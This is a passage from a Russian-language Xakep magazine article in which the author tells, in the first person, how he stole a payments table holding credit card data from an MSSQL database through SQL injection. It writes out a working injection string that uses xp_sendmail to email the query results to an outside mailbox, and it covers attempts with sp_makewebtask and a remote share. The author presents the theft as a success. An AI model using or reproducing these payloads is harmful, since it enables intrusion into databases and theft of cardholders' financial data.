Картофель фри Федор Михайлович Xakep, номер #065, стр. 065-074-4 Скачивание таблиц Первое, что пришло в голову – записать результат выполнения запроса в текстовый файл и слить его через веб-сервер. Это было бы очень красивым решением, однако, когда я попытался это сделать, меня постиг облом. На запрос “select * from rfPayments into outfile ‘f:\inetpub\wwwroot\11.txt’” скрипт ругнулся, что не знает ни про какой “into outfile”. В самом деле, эта mySQL’ная функция вполне могла иначе называться в MSSQL. Почитав документацию, я выяснил, что запись результата выполнения запроса в текстовый файл осуществляется в MSSQL при помощи функции sp_makewebtask, синтаксис которой очень прост: EXEC master..sp_makewebtask “file.txt”, “sql-query”. Замечательно, осталась только одна проблема – я не знаю абсолютного пути директории, доступной через web. Я опробовал несколько стандартных вариантов ([c-f]:\wwwroot\inetpub с и т.д.), но ничего не получалось. Значит, либо текущему sql’ному юзеру запрещено выполнять эту процедуру, либо я просто не угадал абсолютный путь и писал не в те директории. Надо было что-то делать. В принципе, функция sp_makewebtask может записывать файл с результатами на удаленный расшаренный ресурс – можно было поднять на подконтрольном unix-сервере самбу и попробовать получить креды туда, но делать этого по ряду причин совершенно не хотелось. И тут я внезапно вспомнил про функцию “xp_sendmail”. Эта процедура позволяла отправлять результат sql-запроса на e-mail! То что доктор прописал: 1234’; exec master..xp_sendmail “hacker@mail.ru”, “select * from rfPayments”;--. Проверяю ящик – ничего нет :(. Ну, думаю, подстава. Придется вытаскивать сведения о кредитках через сообщения об ошибках со скоростью 1cc/мин :). Уже начал было думать, не пойти ли спать, как, в очередной раз проверив почту, получил увесистое письмо от этого sql-сервера с содержимым интересующей меня таблички. |